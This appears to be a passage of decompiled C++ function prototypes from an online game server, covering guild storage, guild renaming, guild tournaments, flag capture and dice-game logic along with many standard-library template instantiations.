ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall PROTO_NC_CHAR_WEDDINGDATA_ACK::__unnamed::__unnamed(MemoryQueueGuildReName *this); void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this); unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, MemoryQueueGuildReType *content); void __thiscall MemoryQueueElement::MemoryQueueElement(MemoryQueueElement *this); // void __usercall ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ(int a1, int a2, int netcmd); // void __usercall ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ(int a1, int a2, int netcmd); void __cdecl ShineObjectClass::ShineObject::so_ply_GuildReName(char nItemSlot, __int128 sGuildName); void __cdecl ShineObjectClass::ShineObject::so_ply_GuildReType(char nItemSlot, char nType); void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildReNameItemUseSuccess(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildReTypeItemUseSuccess(void *this); void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this); void __thiscall MemoryQueue::_MemoryQueue(MemoryQueue *this); unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, MemoryQueueGuildReName *content); char __thiscall GuildStorage::GuildStorageElement::gse_GuildCheck(GuildStorage::GuildStorageElement *this, unsigned int guild); void __thiscall GuildStorage::GuildStorageElement::GuildStorageElement(GuildStorage::GuildStorageElement *this); void __thiscall GuildStorage::GuildStorageElement::_GuildStorageElement(GuildStorage::GuildStorageElement *this); char __thiscall GuildStorage::GuildStorageElement::gse_FreeDeactivate(GuildStorage::GuildStorageElement *this, List *lst, unsigned __int16 handle); void __thiscall GuildStorage::GuildStorageElement::gse_Deactivate(GuildStorage::GuildStorageElement *this); void __thiscall GuildStorage::GuildStorageElement::gse_SetActivate(GuildStorage::GuildStorageElement *this); int __thiscall GuildStorage::GuildStorageElement::gse_GuildCompare(GuildStorage::GuildStorageElement *this, List *lst, unsigned __int16 hnd, GuildStorage::GuildStorageElement *key); unsigned __int64 __thiscall GuildStorage::GuildStorageElement::gse_GetMoney(GuildStorage::GuildStorageElement *this); void __thiscall GuildStorage::GuildStorageElement::gse_SetMoney(GuildStorage::GuildStorageElement *this, unsigned __int64 set_cen); unsigned __int64 __thiscall GuildStorage::GuildStorageElement::gse_GetToken(GuildStorage::GuildStorageElement *this); void __thiscall GuildStorage::GuildStorageElement::gse_SetToken(GuildStorage::GuildStorageElement *this, unsigned __int64 nToken); void __thiscall List::_List(List *this); void __thiscall GuildStorage::GuildStorageElement::gse_StoreItem(GuildStorage::GuildStorageElement *this, PROTO_NC_ITEMDB_OPEN_GUILD_STORAGE_ACK *inven, #434 *sp); void __thiscall GuildStorage::GuildStorageManager::_GuildStorageManager(GuildStorage::GuildStorageManager *this); void __thiscall ShineObjectClass::ShinePlayer::sp_GuildStorageClose(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_GuildStorageError(void *this, __int16 err); void __thiscall ShineGuildStorageWithdraw::ShineGuildStorageWithdraw(ShineGuildStorageWithdraw *this, PROTO_NC_GUILD_STORAGEWITHDRAW_RNG *ring); void __thiscall GuildStorage::GuildStorageManager::gsm_SendWithdraw2Member(GuildStorage::GuildStorageManager *this, PROTO_NC_GUILD_STORAGEWITHDRAW_RNG *ring); void __thiscall List::l_Clear(List *this); void __thiscall ZoneListenSession::zls_NC_GUILD_STORAGEWITHDRAW_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); GuildStorage::GuildStorageElement *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(GuildStorage::GuildStorageElement *this, List *, unsigned __int16, GuildStorage::GuildStorageElement *), unsigned __int16 *hnd, GuildStorage::GuildStorageElement *key); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); GuildStorage::GuildStorageElement *__thiscall GuildStorage::GuildStorageManager::gsm_FindStorage(GuildStorage::GuildStorageManager *this, unsigned int guild, unsigned __int16 *storagehandle); char __thiscall ShineGuildStorageWithdraw::lid_Call(ShineGuildStorageWithdraw *this, #325 *, unsigned __int16); char __thiscall List::l_PushA(List *this, GuildStorage::GuildStorageElement *ele); int __thiscall GuildStorage::GuildStorageElement::operator_(int this, int a2); char __thiscall List::l_PushZ(List *this, GuildStorage::GuildStorageElement *ele); char __thiscall List::l_PopA(List *this, GuildStorage::GuildStorageElement *ele); char __thiscall List::l_PopZ(List *this, GuildStorage::GuildStorageElement *ele); void __thiscall GuildStorage::GuildStorageManager::GuildStorageManager(GuildStorage::GuildStorageManager *this); bool __thiscall FieldMap::fm_IsGuildTournametnMap(int this); void __thiscall GuildTouramentLoginDataInfo::GuildTouramentLoginDataInfo(GuildTouramentLoginDataInfo *this); bool __thiscall GuildTouramentLoginDataInfo::IsAccessTime(GuildTouramentLoginDataInfo *this); bool __thiscall ShineObjectClass::ShinePlayer::sp_IsGuildTournamentAccessTime(int this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildTournament_isSummon(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_Send2GuildTournamentLogIn(void *this, int gt_start, char nTournamentSeed); char __thiscall FieldMap::fm_GuildTournamentClear(int this); void __thiscall ShineObjectClass::ShineMob::mb_SendMyGuildInfo(int this, int a2); char __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildStoreGradeFill(int this, char Grade); char __cdecl ShineObjectClass::ShineObject::so_ply_isGuildAcademyRewardStoreGrade(); bool __thiscall ShineObjectClass::ShinePlayer::so_ply_isGuildStoreGrade(int this); void __thiscall GameDBSession::gds_NC_ITEMDB_OPEN_GUILD_STORAGE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); int __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_Guild_Tournamnet_Observer_Out(int this, int nSeedNumber); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_USESKILL(void *this, __int16 nType, int nUseSkill); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_ACK(void *this, __int16 nType); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_CMD(int this, __int16 nType); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_DICEGAME_THROW_ACK(void *this, __int16 nType); char __thiscall ShineGuildStorageDeactive::lid_Call(ShineGuildStorageDeactive *this, #325 *, unsigned __int16); void __thiscall FieldMap::fm_GuildTournamentEnd(void *this, int winner, int loser); void __thiscall ShineObjectClass::ShineMob::so_mob_SetGuildRegNum(void *this, int gld); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEMDB_CLOSE_GUILD_STORAGE_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_STORAGEOPEN_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall WorldManagerSession::wms_NC_GUILD_TOURNAMENT_ZONE_MEMBERGRADE_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_LINK_FROM_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_TOURNAMENT_ZONE_JOIN_NEW_REQ(WorldManagerSession *this, NETCOMMAND *netcmd, int len); signed __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildTournamentJoinNew(void *this, int pReq); void __thiscall GameDBSession::gds_NC_GUILD_TOURNAMENT_DB_JOIN_NEW_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_TOURNAMENT_GOLD_REFUND_ZONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_OBSERVER_ENTER_REQ(int this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_OBSERVER_OUT_REQ(int this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_FlagCaptureFree(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_FlagCaptureFreeCheck(int this, __int16 hFlag); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_USESKILL_ACK(void *this, __int16 nType); void __thiscall WorldManagerSession::wms_GuildTournamantStart(WorldManagerSession *this, PROTO_NC_GUILD_TOURNAMENT_START_CMD *gt_start); // int __usercall ShineObjectClass::ShinePlayer::so_ply_GuildStorageDeactivate(int a1, unsigned __int16 *a2); void __thiscall WorldManagerSession::wms_GuildTournamentCheck(WorldManagerSession *this); void __thiscall WorldManagerSession::wms_NC_GUILD_WORLD_USE_GUILD_TOKEN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::append(std::basic_string,std::allocator > *this, std::basic_string,std::allocator > *_Right, unsigned int _Roff, unsigned int _Count); void __thiscall WorldManagerSession::wms_NC_GUILD_TOURNAMENT_START_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::append(std::basic_string,std::allocator > *this, const char *_Ptr, unsigned int _Count); bool __cdecl _ErrorSendPlayer(#325 *, int, const char *); bool __cdecl _ErrorSendPlayer(#325 *, int, const char *); FieldOption::GuildTournamentMapStr *__thiscall GuildTouramentLoginDataInfo::GetFieldGTMapInfo(GuildTouramentLoginDataInfo *this, #434 *pPlayer); MapInfo *__thiscall GuildTouramentLoginDataInfo::GetMapInfo(GuildTouramentLoginDataInfo *this, #434 *pPlayer); FieldOption::FieldAttr *__thiscall GuildTouramentLoginDataInfo::GetFieldAttr(GuildTouramentLoginDataInfo *this, #434 *pPlayer); bool __thiscall GuildTouramentLoginDataInfo::GetLinkData(GuildTouramentLoginDataInfo *this, NPCManager::LinkInformTemplete *pLinkInfo, #434 *pObj); int __thiscall ShineObjectClass::ShinePlayer::sp_Guild_Tournamnet_Observer_Enter(_DWORD, _DWORD); // weak void __thiscall WorldManagerSession::wms_NC_GUILD_TOURNAMENT_ZONE_OBSERVER_ENTER_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall RoutionInterface::_RoutionInterface(RoutionInterface *this); void *__thiscall RoutionInterface::_vector_deleting_destructor_(RoutionInterface *this, unsigned int); void *__thiscall ScriptInterrupt::InterruptEventArgument::_scalar_deleting_destructor_(ScriptInterrupt::InterruptEventArgument *this, unsigned int); bool __cdecl GuildTournamentSystem::GuildMemberInfo::GradeSort(GuildTournamentSystem::GuildMemberInfo *lhw, GuildTournamentSystem::GuildMemberInfo *rhw); void __thiscall AxialListFlagCaptureCancel::_AxialListFlagCaptureCancel(AxialListFlagCaptureCancel *this); GuildTournamentSystem::GuildGroup *__thiscall GuildTournamentSystem::GetEnemyGuildGroup(GuildTournamentSystem *this, unsigned int GuildNumber); bool __thiscall GuildTournamentSystem::IsBattleGuild(GuildTournamentSystem *this, unsigned int a, unsigned int b); int __thiscall GuildTournamentSystem::GetGuildRegIndex(GuildTournamentSystem *this, #325 *pObject); void __cdecl GuildTournamentSystem::SendBriefChange(#325 *pChange); void __thiscall ScriptInterrupt::InterruptEventWinGuild::_InterruptEventWinGuild(ScriptInterrupt::InterruptEventWinGuild *this); void __thiscall GuildTournamentSystem::FlagInfo::FlagCapture(GuildTournamentSystem::FlagInfo *this, unsigned int GuildNumber); bool __thiscall DiceGame::Start(DiceGame *this, int nTick, unsigned int RedPlayerNumber, unsigned int BluePlayerNumber); void __thiscall DiceGame::Send_DiceThrowResult(DiceGame *this, unsigned int GameUser, unsigned int unResult); unsigned int __thiscall std::vector>::size(std::vector,std::allocator >,std::allocator,std::allocator > > > *this); unsigned int __thiscall std::vector>::size(std::vector > *this); unsigned int __thiscall std::vector>::size(std::vector > *this); unsigned int __thiscall std::vector>::size(std::vector > *this); unsigned int __thiscall std::vector>::size(std::vector > *this); void __thiscall std::_Tree_std::allocator>_0>>::_Rrotate(std::_Tree,std::allocator >,0> > *this, std::_Tree_nod,std::allocator >,0> >::_Node *_Wherenode); std::_Tree_nod,std::allocator >,0> >::_Node *__cdecl std::_Tree_std::allocator>_1>>::_Max(std::_Tree_nod,std::allocator >,0> >::_Node *_Pnode); std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Max(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Min(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_0>>::const_iterator::_Dec(std::_Tree,std::allocator >,0> >::const_iterator *this); void __thiscall std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::const_iterator::_Dec(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::const_iterator::_Inc(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator(GuildTournamentSystem::GuildMemberInfo *_First, GuildTournamentSystem::GuildMemberInfo *_Last, GuildTournamentSystem::GuildMemberInfo *_Val); void __cdecl std::fill(unsigned __int16 *_First, unsigned __int16 *_Last, const unsigned __int16 *_Val); void __cdecl std::fill(TickTimer *_First, TickTimer *_Last, TickTimer *_Val); void __cdecl std::fill(TOURNAMENT_PLAYER_SCORE *_First, TOURNAMENT_PLAYER_SCORE *_Last, TOURNAMENT_PLAYER_SCORE *_Val); TOURNAMENT_PLAYER_SCORE *__cdecl std::_Copy_backward_opt(TOURNAMENT_PLAYER_SCORE *_First, TOURNAMENT_PLAYER_SCORE *_Last, TOURNAMENT_PLAYER_SCORE *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl GuildTournamentSystem::Make_TOURNAMENT_PLAYER_SCORE(TOURNAMENT_PLAYER_SCORE *rScore, #325 *pObejct, GuildTournamentSystem::GuildMemberInfo *rinfo); int __thiscall GuildTournamentSystem::GetVictoryGuild(GuildTournamentSystem *this); int __thiscall GuildTournamentSystem::GetLoseGuild(GuildTournamentSystem *this); void *__thiscall ScriptInterrupt::InterruptEventWinGuild::_scalar_deleting_destructor_(ScriptInterrupt::InterruptEventWinGuild *this, unsigned int); void __thiscall std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lrotate(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Rrotate(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator >::iterator *__cdecl std::find_if>::iterator_GuildTournamentSystem::GuildMemberInfo::Find_if_handle>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, GuildTournamentSystem::GuildMemberInfo::Find_if_handle _Pred); ShineObjectClass::ShineNPC *__cdecl ShineDynamicCast(#325 *pObj); int __cdecl ShineDynamicCast(int a1); GuildTournamentSystem::GuildMemberInfo *__cdecl std::copy_backward(GuildTournamentSystem::GuildMemberInfo *_First, GuildTournamentSystem::GuildMemberInfo *_Last, GuildTournamentSystem::GuildMemberInfo *_Dest); unsigned __int16 *__cdecl std::copy_backward(unsigned __int16 *_First, unsigned __int16 *_Last, unsigned __int16 *_Dest); GuildTournamentSystem::GuildMemberInfo *__cdecl std::_Uninit_copy>(GuildTournamentSystem::GuildMemberInfo *_First, GuildTournamentSystem::GuildMemberInfo *_Last, GuildTournamentSystem::GuildMemberInfo *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); char __thiscall AxialListFlagCaptureCancel::ali_Work(AxialListFlagCaptureCancel *this, #325 *, #325 *, unsigned int); GuildTournamentSystem::GuildGroup *__thiscall GuildTournamentSystem::GetCurGuildGroup(GuildTournamentSystem *this, unsigned int GuildNumber); void __thiscall DiceGame::End(DiceGame *this); std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Buynode(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_0>>::_Erase(std::_Tree,std::allocator >,0> > *this, std::_Tree_nod,std::allocator >,0> >::_Node *_Rootnode); int __stdcall std::vector>::_Ucopy(char *src, int, char *dst); // idb void __cdecl std::_Random_shuffle>::iterator_int>(std::vector >::iterator _First, std::vector >::iterator _Last, int *__formal); void __cdecl std::_Uninit_fill_n>(GuildTournamentSystem::GuildMemberInfo *_First, unsigned int _Count, GuildTournamentSystem::GuildMemberInfo *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); TOURNAMENT_PLAYER_SCORE *__cdecl std::_Uninit_copy>(TOURNAMENT_PLAYER_SCORE *_First, TOURNAMENT_PLAYER_SCORE *_Last, TOURNAMENT_PLAYER_SCORE *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); bool __thiscall GuildTournamentSystem::IsPlayerRegister(GuildTournamentSystem *this, #325 *pCheckObject); void __thiscall GuildTournamentSystem::SetErrorDelegate(GuildTournamentSystem *this, fastdelegate::FastDelegate1 delegate); void __thiscall GuildTournamentSystem::ClearErrorDelegate(GuildTournamentSystem *this); void __thiscall DiceGame::DiceThrow(DiceGame *this, unsigned int GameUser); void __thiscall std::basic_string_std::allocator>::basic_string_std::allocator>(std::basic_string,std::allocator > *this); std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::find(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, const unsigned int *_Keyval); bool __thiscall std::less_std::allocator>>::operator__(std::less,std::allocator > > *this, std::basic_string,std::allocator > *_Left, std::basic_string,std::allocator > *_Right); unsigned __int16 *__thiscall std::vector>::_Ufill(std::vector > *this, unsigned __int16 *_Ptr, unsigned int _Count, const unsigned __int16 *_Val); std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lbound(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > *_Keyval); void __thiscall std::_Tree_nod_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Node::__Node(std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator >::iterator *__cdecl std::_Upper_bound>::iterator_GuildTournamentSystem::GuildMemberInfo_int_bool____cdecl____GuildTournamentSystem::GuildMemberInfo_const___GuildTournamentSystem::GuildMemberInfo_const___>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, GuildTournamentSystem::GuildMemberInfo *_Val, bool (__cdecl *_Pred)(GuildTournamentSystem::GuildMemberInfo *, GuildTournamentSystem::GuildMemberInfo *), int *__formal); void __cdecl std::_Uninit_fill_n>(TOURNAMENT_PLAYER_SCORE *_First, unsigned int _Count, TOURNAMENT_PLAYER_SCORE *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall GuildTournamentSystem::PortalInfo::_PortalInfo(GuildTournamentSystem::PortalInfo *this); void __thiscall GuildTournamentSystem::FlagInfo::FlagInfo(GuildTournamentSystem::FlagInfo *this); void __thiscall GuildTournamentSystem::FlagInfo::_FlagInfo(GuildTournamentSystem::FlagInfo *this); void __thiscall GuildTournamentSystem::Gate::_Gate(GuildTournamentSystem::Gate *this); void __thiscall GuildTournamentSystem::DiceGameThrow(GuildTournamentSystem *this, #325 *pObject); void __thiscall DiceGame::Update(DiceGame *this, int nTick); TickTimer *__thiscall std::vector>::_Ufill(std::vector > *this, TickTimer *_Ptr, unsigned int _Count, TickTimer *_Val); GuildTournamentSystem::GuildMemberInfo *__thiscall std::vector>::_Ufill(std::vector > *this, GuildTournamentSystem::GuildMemberInfo *_Ptr, unsigned int _Count, GuildTournamentSystem::GuildMemberInfo *_Val); int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::find(...); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where); TOURNAMENT_PLAYER_SCORE *__thiscall std::vector>::_Ufill(std::vector > *this, TOURNAMENT_PLAYER_SCORE *_Ptr, unsigned int _Count, TOURNAMENT_PLAYER_SCORE *_Val); void __thiscall GuildTournamentSystem::Gate::Gate(GuildTournamentSystem::Gate *this, GuildTournamentSystem::Gate *__that); void __thiscall GuildTournamentSystem::PortalInfo::PortalInfo(GuildTournamentSystem::PortalInfo *this, GuildTournamentSystem::PortalInfo *__that); void __cdecl std::_Construct(GuildTournamentSystem::AdvanMobItemRegenInfo *_Ptr, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val); void __thiscall std::vector>::_Xran(std::vector > *this); std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::_Insert(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator >,0> >::_Node *_Wherenode, std::pair *_Val); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall GuildTournamentSystem::FlagInfo::FlagInfo(GuildTournamentSystem::FlagInfo *this, GuildTournamentSystem::FlagInfo *__that); std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::erase(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _Where); int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::erase(...); int std::_Tree_nod_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Node::_Node(...); GuildTournamentSystem::Gate *__cdecl std::_Copy_backward_opt(GuildTournamentSystem::Gate *_First, GuildTournamentSystem::Gate *_Last, GuildTournamentSystem::Gate *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); GuildTournamentSystem::AdvanMobItemRegenInfo *__cdecl std::_Copy_backward_opt(GuildTournamentSystem::AdvanMobItemRegenInfo *_First, GuildTournamentSystem::AdvanMobItemRegenInfo *_Last, GuildTournamentSystem::AdvanMobItemRegenInfo *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); GuildTournamentSystem::Gate *__cdecl std::_Uninit_copy>(GuildTournamentSystem::Gate *_First, GuildTournamentSystem::Gate *_Last, GuildTournamentSystem::Gate *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); GuildTournamentSystem::AdvanMobItemRegenInfo *__cdecl std::_Uninit_copy>(GuildTournamentSystem::AdvanMobItemRegenInfo *_First, GuildTournamentSystem::AdvanMobItemRegenInfo *_Last, GuildTournamentSystem::AdvanMobItemRegenInfo *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); GuildTournamentSystem::GuildMemberInfo *__thiscall std::vector>::at(std::vector > *this, unsigned int _Pos); TickTimer *__thiscall std::vector>::at(std::vector > *this, unsigned int _Pos); GuildTournamentSystem::FlagInfo *__thiscall std::vector>::at(std::vector > *this, unsigned int _Pos); bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity); void __thiscall std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Erase(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GuildTournamentSystem::GuildMemberInfo *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, const unsigned __int16 *_Val); std::pair,std::allocator >,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator>_0>>::insert(std::_Tree,std::allocator >,0> > *this, std::pair,std::allocator >,0> >::iterator,bool> *result, std::pair *_Val); std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::erase(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _First, std::_Tree,std::allocator >,0> >::iterator _Last); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, TickTimer *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, TOURNAMENT_PLAYER_SCORE *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count); int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Buynode(...); void __cdecl std::fill(GuildTournamentSystem::Gate *_First, GuildTournamentSystem::Gate *_Last, GuildTournamentSystem::Gate *_Val); void __cdecl std::fill(GuildTournamentSystem::AdvanMobItemRegenInfo *_First, GuildTournamentSystem::AdvanMobItemRegenInfo *_Last, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val); int __thiscall GuildTournamentSystem::FlagInfo::operator_(int this, int a2); void __cdecl std::_Uninit_fill_n>(GuildTournamentSystem::Gate *_First, unsigned int _Count, GuildTournamentSystem::Gate *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::_Uninit_fill_n>(GuildTournamentSystem::AdvanMobItemRegenInfo *_First, unsigned int _Count, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); GuildTournamentSystem::FlagInfo *__cdecl std::_Copy_backward_opt(GuildTournamentSystem::FlagInfo *_First, GuildTournamentSystem::FlagInfo *_Last, GuildTournamentSystem::FlagInfo *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); GuildTournamentSystem::FlagInfo *__cdecl std::_Uninit_copy>(GuildTournamentSystem::FlagInfo *_First, GuildTournamentSystem::FlagInfo *_Last, GuildTournamentSystem::FlagInfo *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); bool __thiscall GuildTournamentSystem::PortalResiter(GuildTournamentSystem *this, #325 *, unsigned int, const char *, const char *); void __thiscall GuildTournamentSystem::SendScorePacket::_SendScorePacket(GuildTournamentSystem::SendScorePacket *this); bool __thiscall GuildTournamentSystem::IsFlagCapture(GuildTournamentSystem *this, #325 *, unsigned __int16); bool __thiscall GuildTournamentSystem::IsUseGate(GuildTournamentSystem *this, #325 *, const unsigned __int16, const unsigned __int16); void __thiscall GuildTournamentSystem::ScanEnemyUser(GuildTournamentSystem *this, #325 *pObject); void __thiscall GuildTournamentSystem::InitFlagAbStateSetup(GuildTournamentSystem *this); void __thiscall GuildTournamentSystem::GuildGroup::EverythingGiveBuff(GuildTournamentSystem::GuildGroup *this, const char *BuffName, int nTime); #325 *__thiscall GuildTournamentSystem::GuildGroup::GetGuildMaster(GuildTournamentSystem::GuildGroup *this); void __thiscall GuildTournamentSystem::GuildGroup::CheckManagerUser(GuildTournamentSystem::GuildGroup *this); void __thiscall GuildTournamentSystem::GuildGroup::SetAdvan(GuildTournamentSystem::GuildGroup *this, GuildTournamentSystem::GuildGroup::Advantage *val); void __thiscall GuildTournamentSystem::GuildGroup::SetFlagMultiple(GuildTournamentSystem::GuildGroup *this, int val); bool __thiscall 